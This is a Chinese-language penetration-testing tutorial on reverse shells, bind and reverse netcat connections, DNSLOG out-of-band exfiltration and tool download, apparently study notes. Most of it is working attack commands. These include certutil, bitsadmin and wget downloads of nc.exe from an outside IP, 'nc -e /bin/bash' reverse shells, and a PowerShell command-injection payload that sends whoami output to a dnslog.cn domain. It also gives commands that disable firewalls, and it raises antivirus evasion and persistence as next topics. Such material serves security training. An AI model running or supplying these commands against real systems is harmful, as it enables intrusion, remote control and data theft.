反弹SHELL&不回显外带&正反向连接&防火墙出入站&文件下载
字数 1271 2025-08-22 12:23:41
反弹SHELL与不回显外带技术详解
一、无图形化文件上传下载
1.1 文件上传方法
- 将文件(如nc.exe)上传到服务器网站根目录下
- 通过URL访问(如47.94.236.117/nc.exe)默认会触发下载
1.2 Windows命令行下载方法
certutil -urlcache -split -f http://47.94.236.117/nc.exe nc.exe
bitsadmin /transfer download /download /priority normal http://47.94.236.117/nc.exe C:\nc.exe
1.3 Linux命令行下载方法
wget http://47.94.236.117/nc.exe
curl -o nc.exe http://47.94.236.117/nc.exe
二、反弹Shell基础
2.1 反弹Shell概念
- 将目标服务器的命令执行回显显示在攻击者服务器上
- 优点:
- 解决无回显问题
- 流量不经过网页,更隐蔽
2.2 正向连接与反向连接
正向连接
- 攻击者主动连接目标
- 示例:
- 目标(Linux):
nc -lvp 5566 -e /bin/bash - 攻击者(Windows):
nc 目标IP 5566
- 目标(Linux):
反向连接
- 目标主动连接攻击者
- 示例:
- 攻击者(Windows):
nc -lvp 5566 - 目标(Linux):
nc -e /bin/bash 攻击者IP 5566
- 攻击者(Windows):
三、内网环境下的反弹Shell
3.1 内网与外网区别
- 内网:通过路由器访问互联网,外部无法直接访问
- 外网:可直接被互联网访问的服务器
3.2 内网反弹Shell方法
- 必须使用反向连接
- 命令示例:
- 目标(Windows):
nc -e cmd 攻击者IP 5566 - 攻击者(Linux):
nc -lvp 5566
- 目标(Windows):
3.3 双内网情况
- 需要外网服务器作为中转
- 通过外网服务器将两台内网机器连接
四、不回显情况下的外带技术
4.1 DNSLOG外带原理
- 通过DNS查询将命令执行结果外带
- 适用于无回显的命令执行漏洞
4.2 Linux外带方法
ping `whoami`.dnslog域名
4.3 Windows外带方法
使用PowerShell组合命令:
$r = whoami; $t = '.dnslog域名'; $y = $r + $t; $u = $y.replace('\','2222222');ping $u;
4.4 实际应用示例
127.0.0.1 | powershell $r = whoami; $t = '.d0q291.dnslog.cn'; $y = $r + $t; $u = $y.replace('\','2222222');ping $u;
五、环境准备与工具安装
5.1 防火墙设置
Windows防火墙
- 关闭所有入站和出站规则
Linux防火墙(CentOS 7)
systemctl stop firewalld.service
systemctl disable firewalld.service
systemctl status firewalld.service
CentOS 7之前版本
service iptables stop
chkconfig iptables off
5.2 NC工具安装
Windows
- 下载地址:https://github.com/int0x33/nc.exe/
- 注意安全风险,建议仅在测试环境使用
Linux
- 安装netcat:
yum install netcat
- 注意区分ncat和netcat命令
六、实战思路总结
- 确认命令执行点
- 判断系统类型(whoami)
- 测试出网情况(使用dnslog)
- 根据环境选择反弹方式:
- 出网环境:直接反弹
- 不出网环境:尝试DNS外带或搭建中转
- 上传必要工具(nc等)
- 建立反弹连接
七、注意事项
- DNSLOG平台可能被目标系统屏蔽,需自建
- 不同系统命令有差异,需灵活调整
- 实战中需考虑WAF检测等因素
- 反向连接成功率高于正向连接
- Windows和Linux的管道符和命令语法不同
八、扩展思考
- 如何绕过杀软检测?
- 无nc环境下的替代方案?
- 加密流量的反弹shell方法?
- 持久化维持访问的技术?
- 内网横向移动时的反弹shell策略?
通过系统学习反弹shell和外带技术,可以大大提高渗透测试的成功率,特别是在面对复杂网络环境时。建议在合法授权的环境下多加练习,熟练掌握各种场景下的应用方法。